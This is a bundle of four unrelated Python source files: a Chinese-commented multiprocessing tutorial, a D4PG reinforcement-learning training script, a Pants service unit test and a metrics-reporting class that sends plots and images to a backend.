multiprocess.py | __author__ = 'nickyuan'
# 要让Python程序实现多进程(multiprocessing),我们先了解操作系统的相关知识。
#
# Unix/Linux操作系统提供了一个fork()系统调用,它非常特殊。普通的函数调用,调用一次,返回一次,
# 但是fork()调用一次,返回两次,因为操作系统自动把当前进程(称为父进程)复制了一份(称为子进程),
# 然后,分别在父进程和子进程内返回。
#
# 子进程永远返回0,而父进程返回子进程的ID。这样做的理由是,一个父进程可以fork出很多子进程,
# 所以,父进程要记下每个子进程的ID,而子进程只需要调用getppid()就可以拿到父进程的ID。
#
# Python的os模块封装了常见的系统调用,其中就包括fork,可以在Python程序中轻松创建子进程:
# import os
#
# print('Process (%s) start...' % os.getpid())
# # Only works on Unix/Linux/Mac:
# pid = os.fork()
# if pid == 0:
# print('I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid()))
# else:
# print('I (%s) just created a child process (%s).' % (os.getpid(), pid))
# 运行结果如下:
#
# Process (876) start...
# I (876) just created a child process (877).
# I am child process (877) and my parent is 876.
# 由于Windows没有fork调用,上面的代码在Windows上无法运行。由于Mac系统是基于BSD(Unix的一种)内核,
# 所以,在Mac下运行是没有问题的,推荐大家用Mac学Python!
#
# 有了fork调用,一个进程在接到新任务时就可以复制出一个子进程来处理新任务,
# 常见的Apache服务器就是由父进程监听端口,每当有新的http请求时,就fork出子进程来处理新的http请求。
#
# multiprocessing
#
# 如果你打算编写多进程的服务程序,Unix/Linux无疑是正确的选择。由于Windows没有fork调用,
# 难道在Windows上无法用Python编写多进程的程序?
#
# 由于Python是跨平台的,自然也应该提供一个跨平台的多进程支持。multiprocessing模块就是跨平台版本的多进程模块。
#
# multiprocessing模块提供了一个Process类来代表一个进程对象,下面的例子演示了启动一个子进程并等待其结束:
from multiprocessing import Process
import os
# 子进程要执行的代码
def run_proc(name):
print('Run child process %s (%s)' % (name, os.getpid()))
if __name__ == '__main__':
print('Parent process %s.' % os.getpid())
p = Process(target=run_proc, args=('test',))
print('Child process will start.')
p.start()
p.join()
print('Child process end.')
|
main.py | """
Main script that runs the D4PG learning algorithm
(https://arxiv.org/pdf/1804.08617)
It features the standard DDPG algorithm with a number
of improvements from other researchers.
Namely:
Distributed rollouts (https://arxiv.org/pdf/1602.01783)
A distributional learner (http://arxiv.org/abs/1707.06887)
N-step returns (https://arxiv.org/pdf/1602.01783)
Prioritized experience replay (http://arxiv.org/abs/1511.05952)
This implementation does not use the
ApeX framework (https://arxiv.org/abs/1803.00933) as the original authors did.
Instead, it uses python's 'threading' and 'multiprocessing' library.
Different tasks are contained in different threads. Tensorflow is thread-safe and automatically multi-threaded.
Each instance of the environment is contained in a different process due to scipy not being thread-safe.
===== Notes =====
No notes at the moment
@author: Kirk Hovell (khovell@gmail.com)
Special thanks to:
- msinto93 (https://github.com/msinto93)
- SuReLI (https://github.com/SuReLI)
- DeepMind (https://github.com/deepmind)
- OpenAI (https://github.com/openai)
for publishing their codes! The open-source attitude of AI research is wonderful.
Code started: October 15, 2018
Learning algorithm complete: May 6, 2019
"""
# Importing libraries & other classes
# Others'
import shutil
import os
import glob
import time
import threading
import multiprocessing
import random
import datetime
import psutil
import tensorflow as tf
import numpy as np
import sys
# My own
from learner import Learner
from replay_buffer import ReplayBuffer
from prioritized_replay_buffer import PrioritizedReplayBuffer
from settings import Settings
import saver
environment_file = __import__('environment_' + Settings.ENVIRONMENT)
agent_file = __import__('agent' + Settings.AGENT)
#%%
##########################
##### SETTING UP RUN #####
##########################
start_time = time.time()
# Clearing Tensorflow graph
tf.reset_default_graph()
# Setting Tensorflow configuration parameters
config = tf.ConfigProto()
config.intra_op_parallelism_threads = psutil.cpu_count(logical = False) # Number of CPU physical cores recommended
if psutil.cpu_count(logical = False) == 32:
config.inter_op_parallelism_threads = 32 # RCDC has 32 sockets
else:
config.inter_op_parallelism_threads = 1 # All my other computers have 1
############################################################
##### New run or continuing a partially completed one? #####
############################################################
# If we're continuing a run
if Settings.RESUME_TRAINING:
filename = Settings.RUN_NAME # Reuse the name too
starting_episode_number = np.zeros(Settings.NUMBER_OF_ACTORS, dtype = np.int8) # initializing
starting_iteration_number = 0 # initializing
try:
# Grab the tensorboard path
old_tensorboard_filename = [i for i in os.listdir(Settings.MODEL_SAVE_DIRECTORY + filename) if i.endswith(Settings.TENSORBOARD_FILE_EXTENSION)][0]
# For every entry in the tensorboard file
for tensorboard_entry in tf.train.summary_iterator(Settings.MODEL_SAVE_DIRECTORY + filename + "/" + old_tensorboard_filename):
# Search each one for the Loss value so you can find the final iteration number
for tensorboard_value in tensorboard_entry.summary.value:
if tensorboard_value.tag == 'Logging_Learning/Loss':
starting_iteration_number = max(tensorboard_entry.step, starting_iteration_number)
# Search also for the actors so you can find what episode they were on
for agent_number in range(Settings.NUMBER_OF_ACTORS):
for tensorboard_value in tensorboard_entry.summary.value:
if tensorboard_value.tag == 'Agent_' + str(agent_number + 1) + '/Number_of_timesteps':
starting_episode_number[agent_number] = max(tensorboard_entry.step, starting_episode_number[agent_number])
except:
# If the load failed... quit run
print("Couldn't load in old tensorboard file! Quitting run.")
raise SystemExit
else: # Otherwise, we are starting from scratch
# Generate a filename using Settings.RUN_NAME with the current timestamp
filename = Settings.RUN_NAME + '-{:%Y-%m-%d_%H-%M}'.format(datetime.datetime.now())
starting_episode_number = np.ones(Settings.NUMBER_OF_ACTORS, dtype = int) # All actors start at episode 0
starting_iteration_number = 1 # learner starts at iteration 0
# Generate writer that will log Tensorboard scalars & graph
writer = tf.summary.FileWriter(Settings.MODEL_SAVE_DIRECTORY + filename, filename_suffix = Settings.TENSORBOARD_FILE_EXTENSION)
# Saving a copy of the all python files used in this run, for reference
# Make directory if it doesn't already exist
os.makedirs(os.path.dirname(Settings.MODEL_SAVE_DIRECTORY + filename + '/code/'), exist_ok=True)
for each_file in glob.glob('*.py'):
shutil.copy2(each_file, Settings.MODEL_SAVE_DIRECTORY + filename + '/code/')
#######################################
##### Starting Tensorflow session #####
#######################################
with tf.Session(config = config) as sess:
print("\nThis run is named " + filename)
print("\nThe environment file is: environment_" + Settings.ENVIRONMENT + '\n')
if Settings.TEST_ON_DYNAMICS:
print("At test time, full dynamics are being used\n")
else:
print("At test time, kinematics are being used\n")
if Settings.KINEMATIC_NOISE:
print("Noise is being applied to the kinematics during training to simulate a poor controller\n")
def get_size(obj, seen=None):
"""Recursively finds size of objects"""
size = sys.getsizeof(obj)
if seen is None:
seen = set()
obj_id = id(obj)
if obj_id in seen:
return 0
# Important mark as seen *before* entering recursion to gracefully handle
# self-referential objects
seen.add(obj_id)
if isinstance(obj, dict):
size += sum([get_size(v, seen) for v in obj.values()])
size += sum([get_size(k, seen) for k in obj.keys()])
elif hasattr(obj, '__dict__'):
size += get_size(obj.__dict__, seen)
elif hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes, bytearray)):
size += sum([get_size(i, seen) for i in obj])
return size
##############################
##### Initializing items #####
##############################
# Initializing saver class (for loading & saving data)
saver = saver.Saver(sess, filename)
# Initializing replay buffer, with the option of a prioritized replay buffer
if Settings.PRIORITY_REPLAY_BUFFER:
replay_buffer = PrioritizedReplayBuffer()
else:
replay_buffer = ReplayBuffer()
# Initializing thread & process list
threads = []
environment_processes = []
# Event()s are used to communicate with threads while they run.
# In this case, it is used to signal to the threads when it is time to stop gracefully.
stop_run_flag = threading.Event() # Flag to stop all threads
replay_buffer_dump_flag = threading.Event() # Flag to pause data writing to the replay buffer
replay_buffer_dump_flag.set() # Set the flag to initially be True so that the agents will write data
# Generating the learner and assigning it to a thread
if Settings.USE_GPU_WHEN_AVAILABLE:
# Allow GPU use when appropriate
learner = Learner(sess, saver, replay_buffer, writer)
# Generate the queue responsible for communicating with the agent (for test distribution calculating)
agent_to_learner, learner_to_agent = learner.generate_queue()
else:
# Forcing to the CPU only
with tf.device('/device:CPU:0'):
learner = Learner(sess, saver, replay_buffer, writer)
# Generate the queue responsible for communicating with the agent (for test distribution calculating)
agent_to_learner, learner_to_agent = learner.generate_queue()
threads.append(threading.Thread(target = learner.run, args = (stop_run_flag, replay_buffer_dump_flag, starting_iteration_number)))
# Generating the actors and placing them into their own threads
for i in range(Settings.NUMBER_OF_ACTORS):
if Settings.USE_GPU_WHEN_AVAILABLE:
# Allow GPU use when appropriate
# Make an instance of the environment which will be placed in its own process
if Settings.ENVIRONMENT == 'gym':
environment = environment_file.Environment(filename, i+1, Settings.CHECK_GREEDY_PERFORMANCE_EVERY_NUM_EPISODES, Settings.VIDEO_RECORD_FREQUENCY, Settings.MODEL_SAVE_DIRECTORY) # Additional parameters needed for gym
else:
environment = environment_file.Environment()
# Generate the queue responsible for communicating with the agent
agent_to_env, env_to_agent = environment.generate_queue()
# Generate the actor
actor = agent_file.Agent(sess, i+1, agent_to_env, env_to_agent, replay_buffer, writer, filename, learner.actor.parameters, agent_to_learner, learner_to_agent)
else:
with tf.device('/device:CPU:0'):
# Forcing to the CPU only
# Make an instance of the environment which will be placed in its own process
if Settings.ENVIRONMENT == 'gym':
environment = environment_file.Environment(filename, i+1, Settings.CHECK_GREEDY_PERFORMANCE_EVERY_NUM_EPISODES, Settings.VIDEO_RECORD_FREQUENCY, Settings.MODEL_SAVE_DIRECTORY) # Additional parameters needed for gym
else:
environment = environment_file.Environment()
# Generate the queue responsible for communicating with the agent
agent_to_env, env_to_agent = environment.generate_queue()
# Generate the actor
actor = agent_file.Agent(sess, i+1, agent_to_env, env_to_agent, replay_buffer, writer, filename, learner.actor.parameters, agent_to_learner, learner_to_agent)
# Add thread and process to the list
threads.append(threading.Thread(target = actor.run, args = (stop_run_flag, replay_buffer_dump_flag, starting_episode_number)))
environment_processes.append(multiprocessing.Process(target = environment.run, daemon = True)) # daemon ensures process is killed when main ends
# If desired, try to load in partially-trained parameters
if Settings.RESUME_TRAINING == True:
if not saver.load():
# If loading was not successful -> quit program
print("Could not load in parameters... quitting program")
raise SystemExit
else:
# Don't try to load in parameters, just initialize them instead
# Initialize saver
saver.initialize()
# Initialize Tensorflow variables
sess.run(tf.global_variables_initializer())
# Starting all environments
for each_process in environment_processes:
each_process.start()
#############################################
##### STARTING EXECUTION OF ALL THREADS #####
#############################################
# #
# #
for each_thread in threads: #
# #
each_thread.start() #
# #
# #
#############################################
############## THREADS STARTED ##############
#############################################
# Write the Tensorflow computation graph to file, now that it has been fully built
writer.add_graph(sess.graph)
print('Done starting!')
# For printing out all variables and their sizes
def sizeof_fmt(num, suffix='B'):
''' by Fred Cirera, https://stackoverflow.com/a/1094933/1870254, modified'''
for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:
if abs(num) < 1024.0:
return "%3.1f %s%s" % (num, unit, suffix)
num /= 1024.0
return "%.1f %s%s" % (num, 'Yi', suffix)
####################################################
##### Waiting until all threads have completed #####
####################################################
print("Running until threads finish or until you press Ctrl + C")
# Getting the current process
process = psutil.Process(os.getpid())
try:
counter = 0
while True:
time.sleep(0.5)
if counter % 1200 == 0:
print("Main.py (Environment %s) is using %2.3f GB of RAM and the buffer has %i samples" %(Settings.RUN_NAME, process.memory_info().rss/1000000000.0, replay_buffer.how_filled()))
counter += 1
# If all agents have finished, gracefully stop the learner and end
if np.sum(each_thread.is_alive() for each_thread in threads) <= 1:
print("All threads ended naturally.")
# Gracefully stop learner
stop_run_flag.set()
# Join threads (suspends main.py until threads finish)
for each_thread in threads:
each_thread.join()
break
except KeyboardInterrupt: # if someone pressed Ctrl + C
print("Interrupted by user!")
print("Stopping all the threads!!")
# Gracefully stop all threads, ending episodes and saving data
stop_run_flag.set()
# Join threads (suspends main.py until threads finish)
for each_thread in threads:
each_thread.join()
print("This run completed in %.3f hours." %((time.time() - start_time)/3600))
print("Done closing! Goodbye :)") |
test_pants_service.py | # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import threading
from pants.pantsd.service.pants_service import PantsService
from pants.testutil.test_base import TestBase
class RunnableTestService(PantsService):
def run(self):
pass
class TestPantsService(TestBase):
def setUp(self):
super().setUp()
self.service = RunnableTestService()
def test_init(self):
self.assertTrue(self.service.name)
def test_run_abstract(self):
with self.assertRaises(TypeError):
PantsService()
def test_terminate(self):
self.service.terminate()
assert self.service._state.is_terminating
def test_maybe_pause(self):
# Confirm that maybe_pause with/without a timeout does not deadlock when we are not
# marked Pausing/Paused.
self.service._state.maybe_pause(timeout=None)
self.service._state.maybe_pause(timeout=0.5)
def test_pause_and_resume(self):
self.service.mark_pausing()
# Confirm that we don't transition to Paused without a service thread to maybe_pause.
self.assertFalse(self.service._state.await_paused(timeout=0.5))
# Spawn a thread to call maybe_pause.
t = threading.Thread(target=self.service._state.maybe_pause)
t.daemon = True
t.start()
# Confirm that we observe the pause from the main thread, and that the child thread pauses
# there without exiting.
self.assertTrue(self.service._state.await_paused(timeout=5))
t.join(timeout=0.5)
self.assertTrue(t.isAlive())
# Resume the service, and confirm that the child thread exits.
self.service.resume()
t.join(timeout=5)
self.assertFalse(t.isAlive())
|
reporter.py | import collections
import json
import six
import numpy as np
from threading import Thread, Event
from ..base import InterfaceBase
from ..setupuploadmixin import SetupUploadMixin
from ...utilities.async_manager import AsyncManagerMixin
from ...utilities.plotly_reporter import create_2d_histogram_plot, create_value_matrix, create_3d_surface, \
create_2d_scatter_series, create_3d_scatter_series, create_line_plot, plotly_scatter3d_layout_dict, \
create_image_plot
from ...utilities.py3_interop import AbstractContextManager
from .events import ScalarEvent, VectorEvent, ImageEvent, PlotEvent, ImageEventNoUpload, UploadEvent
class Reporter(InterfaceBase, AbstractContextManager, SetupUploadMixin, AsyncManagerMixin):
"""
A simple metrics reporter class.
This class caches reports and supports both a explicit flushing and context-based flushing. To ensure reports are
sent to the backend, please use (assuming an instance of Reporter named 'reporter'):
- use the context manager feature (which will automatically flush when exiting the context):
with reporter:
reporter.report...
...
- explicitly call flush:
reporter.report...
...
reporter.flush()
"""
def __init__(self, metrics, flush_threshold=10, async_enable=False):
"""
Create a reporter
:param metrics: A Metrics manager instance that handles actual reporting, uploads etc.
:type metrics: .backend_interface.metrics.Metrics
:param flush_threshold: Events flush threshold. This determines the threshold over which cached reported events
are flushed and sent to the backend.
:type flush_threshold: int
"""
log = metrics.log.getChild('reporter')
log.setLevel(log.level)
super(Reporter, self).__init__(session=metrics.session, log=log)
self._metrics = metrics
self._flush_threshold = flush_threshold
self._events = []
self._bucket_config = None
self._storage_uri = None
self._async_enable = async_enable
self._flush_frequency = 30.0
self._exit_flag = False
self._flush_event = Event()
self._flush_event.clear()
self._thread = Thread(target=self._daemon)
self._thread.daemon = True
self._thread.start()
self._max_iteration = 0
def _set_storage_uri(self, value):
value = '/'.join(x for x in (value.rstrip('/'), self._metrics.storage_key_prefix) if x)
self._storage_uri = value
storage_uri = property(None, _set_storage_uri)
@property
def flush_threshold(self):
return self._flush_threshold
@flush_threshold.setter
def flush_threshold(self, value):
self._flush_threshold = max(0, value)
@property
def async_enable(self):
return self._async_enable
@async_enable.setter
def async_enable(self, value):
self._async_enable = bool(value)
@property
def max_iteration(self):
return self._max_iteration
def _daemon(self):
while not self._exit_flag:
self._flush_event.wait(self._flush_frequency)
self._flush_event.clear()
self._write()
# wait for all reports
if self.get_num_results() > 0:
self.wait_for_results()
# make sure we flushed everything
self._async_enable = False
self._write()
if self.get_num_results() > 0:
self.wait_for_results()
def _report(self, ev):
ev_iteration = ev.get_iteration()
if ev_iteration is not None:
self._max_iteration = max(self._max_iteration, ev_iteration)
self._events.append(ev)
if len(self._events) >= self._flush_threshold:
self.flush()
def _write(self):
if not self._events:
return
# print('reporting %d events' % len(self._events))
res = self._metrics.write_events(self._events, async_enable=self._async_enable, storage_uri=self._storage_uri)
if self._async_enable:
self._add_async_result(res)
self._events = []
def flush(self):
"""
Flush cached reports to backend.
"""
self._flush_event.set()
def stop(self):
self._exit_flag = True
self._flush_event.set()
self._thread.join()
def report_scalar(self, title, series, value, iter):
"""
Report a scalar value
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param value: Reported value
:type value: float
:param iter: Iteration number
:type value: int
"""
ev = ScalarEvent(metric=self._normalize_name(title), variant=self._normalize_name(series), value=value, iter=iter)
self._report(ev)
def report_vector(self, title, series, values, iter):
"""
Report a vector of values
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param values: Reported values
:type value: [float]
:param iter: Iteration number
:type value: int
"""
if not isinstance(values, collections.Iterable):
raise ValueError('values: expected an iterable')
ev = VectorEvent(metric=self._normalize_name(title), variant=self._normalize_name(series), values=values, iter=iter)
self._report(ev)
def report_plot(self, title, series, plot, iter):
"""
Report a Plotly chart
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param plot: A JSON describing a plotly chart (see https://help.plot.ly/json-chart-schema/)
:type plot: str or dict
:param iter: Iteration number
:type value: int
"""
try:
def default(o):
if isinstance(o, np.int64):
return int(o)
except Exception:
default = None
if isinstance(plot, dict):
plot = json.dumps(plot, default=default)
elif not isinstance(plot, six.string_types):
raise ValueError('Plot should be a string or a dict')
ev = PlotEvent(metric=self._normalize_name(title), variant=self._normalize_name(series), plot_str=plot, iter=iter)
self._report(ev)
def report_image(self, title, series, src, iter):
"""
Report an image.
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param src: Image source URI. This URI will be used by the webapp and workers when trying to obtain the image
for presentation of processing. Currently only http(s), file and s3 schemes are supported.
:type src: str
:param iter: Iteration number
:type value: int
"""
ev = ImageEventNoUpload(metric=self._normalize_name(title), variant=self._normalize_name(series), iter=iter, src=src)
self._report(ev)
def report_image_and_upload(self, title, series, iter, path=None, image=None, upload_uri=None,
max_image_history=None, delete_after_upload=False):
"""
Report an image and upload its contents. Image is uploaded to a preconfigured bucket (see setup_upload()) with
a key (filename) describing the task ID, title, series and iteration.
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param iter: Iteration number
:type iter: int
:param path: A path to an image file. Required unless matrix is provided.
:type path: str
:param image: Image data. Required unless filename is provided.
:type image: A PIL.Image.Image object or a 3D numpy.ndarray object
:param max_image_history: maximum number of image to store per metric/variant combination
use negative value for unlimited. default is set in global configuration (default=5)
:param delete_after_upload: if True, one the file was uploaded the local copy will be deleted
:type delete_after_upload: boolean
"""
if not self._storage_uri and not upload_uri:
raise ValueError('Upload configuration is required (use setup_upload())')
if len([x for x in (path, image) if x is not None]) != 1:
raise ValueError('Expected only one of [filename, image]')
kwargs = dict(metric=self._normalize_name(title), variant=self._normalize_name(series), iter=iter, image_file_history_size=max_image_history)
ev = ImageEvent(image_data=image, upload_uri=upload_uri, local_image_path=path,
delete_after_upload=delete_after_upload, **kwargs)
self._report(ev)
def report_histogram(self, title, series, histogram, iter, labels=None, xlabels=None,
xtitle=None, ytitle=None, comment=None):
"""
Report an histogram bar plot
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param histogram: The histogram data.
A row for each dataset(bar in a bar group). A column for each bucket.
:type histogram: numpy array
:param iter: Iteration number
:type value: int
:param labels: The labels for each bar group.
:type labels: list of strings.
:param xlabels: The labels of the x axis.
:type xlabels: List of strings.
:param str xtitle: optional x-axis title
:param str ytitle: optional y-axis title
:param comment: comment underneath the title
:type comment: str
"""
plotly_dict = create_2d_histogram_plot(
np_row_wise=histogram,
title=title,
xtitle=xtitle,
ytitle=ytitle,
labels=labels,
series=series,
xlabels=xlabels,
comment=comment,
)
return self.report_plot(
title=self._normalize_name(title),
series=self._normalize_name(series),
plot=plotly_dict,
iter=iter,
)
def report_line_plot(self, title, series, iter, xtitle, ytitle, mode='lines', reverse_xaxis=False, comment=None):
"""
Report a (possibly multiple) line plot.
:param title: Title (AKA metric)
:type title: str
:param series: All the series' data, one for each line in the plot.
:type series: An iterable of LineSeriesInfo.
:param iter: Iteration number
:type iter: int
:param xtitle: x-axis title
:type xtitle: str
:param ytitle: y-axis title
:type ytitle: str
:param mode: 'lines' / 'markers' / 'lines+markers'
:type mode: str
:param reverse_xaxis: If true X axis will be displayed from high to low (reversed)
:type reverse_xaxis: bool
:param comment: comment underneath the title
:type comment: str
"""
plotly_dict = create_line_plot(
title=title,
series=series,
xtitle=xtitle,
ytitle=ytitle,
mode=mode,
reverse_xaxis=reverse_xaxis,
comment=comment,
)
return self.report_plot(
title=self._normalize_name(title),
series='',
plot=plotly_dict,
iter=iter,
)
def report_2d_scatter(self, title, series, data, iter, mode='lines', xtitle=None, ytitle=None, labels=None,
comment=None):
"""
Report a 2d scatter graph (with lines)
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param data: A scattered data: pairs of x,y as rows in a numpy array
:type scatter: ndarray
:param iter: Iteration number
:type iter: int
:param mode: (type str) 'lines'/'markers'/'lines+markers'
:param xtitle: optional x-axis title
:param ytitle: optional y-axis title
:param labels: label (text) per point in the scatter (in the same order)
:param comment: comment underneath the title
:type comment: str
"""
plotly_dict = create_2d_scatter_series(
np_row_wise=data,
title=title,
series_name=series,
mode=mode,
xtitle=xtitle,
ytitle=ytitle,
labels=labels,
comment=comment,
)
return self.report_plot(
title=self._normalize_name(title),
series=self._normalize_name(series),
plot=plotly_dict,
iter=iter,
)
def report_3d_scatter(self, title, series, data, iter, labels=None, mode='lines', color=((217, 217, 217, 0.14),),
marker_size=5, line_width=0.8, xtitle=None, ytitle=None, ztitle=None, fill=None,
comment=None):
"""
Report a 3d scatter graph (with markers)
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param data: A scattered data: pairs of x,y,z as rows in a numpy array. or list of numpy arrays
:type data: ndarray.
:param iter: Iteration number
:type iter: int
:param labels: label (text) per point in the scatter (in the same order)
:type labels: str
:param mode: (type str) 'lines'/'markers'/'lines+markers'
:param color: list of RGBA colors [(217, 217, 217, 0.14),]
:param marker_size: marker size in px
:param line_width: line width in px
:param xtitle: optional x-axis title
:param ytitle: optional y-axis title
:param ztitle: optional z-axis title
:param comment: comment underneath the title
"""
data_series = data if isinstance(data, list) else [data]
def get_labels(i):
if labels and isinstance(labels, list):
try:
item = labels[i]
except IndexError:
item = labels[-1]
if isinstance(item, list):
return item
return labels
plotly_obj = plotly_scatter3d_layout_dict(
title=title,
xaxis_title=xtitle,
yaxis_title=ytitle,
zaxis_title=ztitle,
comment=comment,
)
for i, values in enumerate(data_series):
plotly_obj = create_3d_scatter_series(
np_row_wise=values,
title=title,
series_name=series[i] if isinstance(series, list) else None,
labels=get_labels(i),
plotly_obj=plotly_obj,
mode=mode,
line_width=line_width,
marker_size=marker_size,
color=color,
fill_axis=fill,
)
return self.report_plot(
title=self._normalize_name(title),
series=self._normalize_name(series) if not isinstance(series, list) else None,
plot=plotly_obj,
iter=iter,
)
def report_value_matrix(self, title, series, data, iter, xtitle=None, ytitle=None, xlabels=None, ylabels=None, comment=None):
"""
Report a heat-map matrix
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param data: A heat-map matrix (example: confusion matrix)
:type data: ndarray
:param iter: Iteration number
:type iter: int
:param str xtitle: optional x-axis title
:param str ytitle: optional y-axis title
:param xlabels: optional label per column of the matrix
:param ylabels: optional label per row of the matrix
:param comment: comment underneath the title
"""
plotly_dict = create_value_matrix(
np_value_matrix=data,
title=title,
xlabels=xlabels,
ylabels=ylabels,
series=series,
comment=comment,
xtitle=xtitle,
ytitle=ytitle,
)
return self.report_plot(
title=self._normalize_name(title),
series=self._normalize_name(series),
plot=plotly_dict,
iter=iter,
)
def report_value_surface(self, title, series, data, iter, xlabels=None, ylabels=None,
xtitle=None, ytitle=None, ztitle=None, camera=None, comment=None):
"""
Report a 3d surface (same data as heat-map matrix, only presented differently)
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param data: A heat-map matrix (example: confusion matrix)
:type data: ndarray
:param iter: Iteration number
:type iter: int
:param xlabels: optional label per column of the matrix
:param ylabels: optional label per row of the matrix
:param xtitle: optional x-axis title
:param ytitle: optional y-axis title
:param ztitle: optional z-axis title
:param camera: X,Y,Z camera position. def: (1,1,1)
:param comment: comment underneath the title
"""
plotly_dict = create_3d_surface(
np_value_matrix=data,
title=title + '/' + series,
xlabels=xlabels,
ylabels=ylabels,
series=series,
xtitle=xtitle,
ytitle=ytitle,
ztitle=ztitle,
camera=camera,
comment=comment,
)
return self.report_plot(
title=self._normalize_name(title),
series=self._normalize_name(series),
plot=plotly_dict,
iter=iter,
)
def report_image_plot_and_upload(self, title, series, iter, path=None, matrix=None,
upload_uri=None, max_image_history=None, delete_after_upload=False):
"""
Report an image as plot and upload its contents.
Image is uploaded to a preconfigured bucket (see setup_upload()) with a key (filename)
describing the task ID, title, series and iteration.
Then a plotly object is created and registered, this plotly objects points to the uploaded image
:param title: Title (AKA metric)
:type title: str
:param series: Series (AKA variant)
:type series: str
:param iter: Iteration number
:type value: int
:param path: A path to an image file. Required unless matrix is provided.
:type path: str
:param matrix: A 3D numpy.ndarray object containing image data (RGB). Required unless filename is provided.
:type matrix: str
:param max_image_history: maximum number of image to store per metric/variant combination
use negative value for unlimited. default is set in global configuration (default=5)
:param delete_after_upload: if True, one the file was uploaded the local copy will be deleted
:type delete_after_upload: boolean
"""
if not upload_uri and not self._storage_uri:
raise ValueError('Upload configuration is required (use setup_upload())')
if len([x for x in (path, matrix) if x is not None]) != 1:
raise ValueError('Expected only one of [filename, matrix]')
kwargs = dict(metric=self._normalize_name(title), variant=self._normalize_name(series), iter=iter, image_file_history_size=max_image_history)
ev = UploadEvent(image_data=matrix, upload_uri=upload_uri, local_image_path=path,
delete_after_upload=delete_after_upload, **kwargs)
_, url = ev.get_target_full_upload_uri(upload_uri or self._storage_uri, self._metrics.storage_key_prefix)
# Hack: if the url doesn't start with http/s then the plotly will not be able to show it,
# then we put the link under images not plots
if not url.startswith('http'):
return self.report_image_and_upload(title=title, series=series, iter=iter, path=path, image=matrix,
upload_uri=upload_uri, max_image_history=max_image_history)
# Hack: replace single '%' with quoted value '%25',
# allowing the link to be properly unquoted during http serving
if url:
url = url.replace('%', '%25')
self._report(ev)
plotly_dict = create_image_plot(
image_src=url,
title=title + '/' + series,
width=matrix.shape[1] if matrix is not None else 640,
height=matrix.shape[0] if matrix is not None else 480,
)
return self.report_plot(
title=self._normalize_name(title),
series=self._normalize_name(series),
plot=plotly_dict,
iter=iter,
)
@classmethod
def _normalize_name(cls, name):
return name
def __exit__(self, exc_type, exc_val, exc_tb):
# don't flush in case an exception was raised
if not exc_type:
self.flush()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.